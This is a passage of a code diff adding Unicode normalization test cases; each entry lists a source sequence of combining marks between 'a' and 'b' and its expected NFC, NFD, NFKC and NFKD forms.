+{ source: [0x0061, 0x1DCB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DCB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DCB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DCB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DCB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DCC, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DCC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DCC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DCC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DCC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DCC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DCC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DCC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DCC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DCC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0345, 0x035D, 0x035C, 0x1DCD, 0x0062], NFC: [0x0061, 0x035C, 0x035D, 0x1DCD, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x035D, 0x1DCD, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x035D, 0x1DCD, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x035D, 0x1DCD, 0x0345, 0x0062] },
+{ source: [0x0061, 0x1DCD, 0x0345, 0x035D, 0x035C, 0x0062], NFC: [0x0061, 0x035C, 0x1DCD, 0x035D, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x1DCD, 0x035D, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x1DCD, 0x035D, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x1DCD, 0x035D, 0x0345, 0x0062] },
+{ source: [0x0061, 0x031B, 0x1DCE, 0x0321, 0x1DCE, 0x0062], NFC: [0x0061, 0x0321, 0x1DCE, 0x1DCE, 0x031B, 0x0062], NFD: [0x0061, 0x0321, 0x1DCE, 0x1DCE, 0x031B, 0x0062], NFKC: [0x0061, 0x0321, 0x1DCE, 0x1DCE, 0x031B, 0x0062], NFKD: [0x0061, 0x0321, 0x1DCE, 0x1DCE, 0x031B, 0x0062] },
+{ source: [0x0061, 0x1DCE, 0x031B, 0x1DCE, 0x0321, 0x0062], NFC: [0x0061, 0x0321, 0x1DCE, 0x1DCE, 0x031B, 0x0062], NFD: [0x0061, 0x0321, 0x1DCE, 0x1DCE, 0x031B, 0x0062], NFKC: [0x0061, 0x0321, 0x1DCE, 0x1DCE, 0x031B, 0x0062], NFKD: [0x0061, 0x0321, 0x1DCE, 0x1DCE, 0x031B, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1DCF, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1DCF, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1DCF, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1DCF, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1DCF, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DCF, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1DCF, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1DCF, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1DCF, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1DCF, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DCE, 0x0321, 0x0F74, 0x1DD0, 0x0062], NFC: [0x0061, 0x0F74, 0x0321, 0x1DD0, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0321, 0x1DD0, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x0321, 0x1DD0, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0321, 0x1DD0, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x1DD0, 0x1DCE, 0x0321, 0x0F74, 0x0062], NFC: [0x0061, 0x0F74, 0x1DD0, 0x0321, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x1DD0, 0x0321, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x1DD0, 0x0321, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x1DD0, 0x0321, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD1, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD2, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD2, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD3, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD4, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD5, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD6, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD6, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD7, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD8, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD9, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DDA, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DDA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DDA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DDA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DDA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DDA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DDA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DDA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DDA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DDA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DDB, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DDB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DDB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DDB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DDB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DDB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DDB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DDB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DDB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DDB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DDC, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DDC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DDC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DDC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DDC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DDC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DDC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DDC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DDC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DDC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DDD, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DDD, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DDD, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DDD, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DDD, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DDD, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DDD, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DDD, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DDD, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DDD, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DDE, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DDE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DDE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DDE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DDE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DDE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DDE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DDE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DDE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DDE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DDF, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DDF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DDF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DDF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DDF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DDF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DDF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DDF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DDF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DDF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE0, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE1, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE2, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE2, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE3, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE4, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE5, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE6, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE6, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE7, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE8, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE9, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DEA, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DEA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DEA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DEA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DEA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DEA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DEA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DEA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DEA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DEA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DEB, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DEB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DEB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DEB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DEB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DEB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DEB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DEB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DEB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DEB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DEC, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DEC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DEC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DEC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DEC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DEC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DEC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DEC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DEC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DEC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DED, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DED, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DED, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DED, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DED, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DED, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DED, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DED, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DED, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DED, 0x0300, 0x0315, 0x0062] },
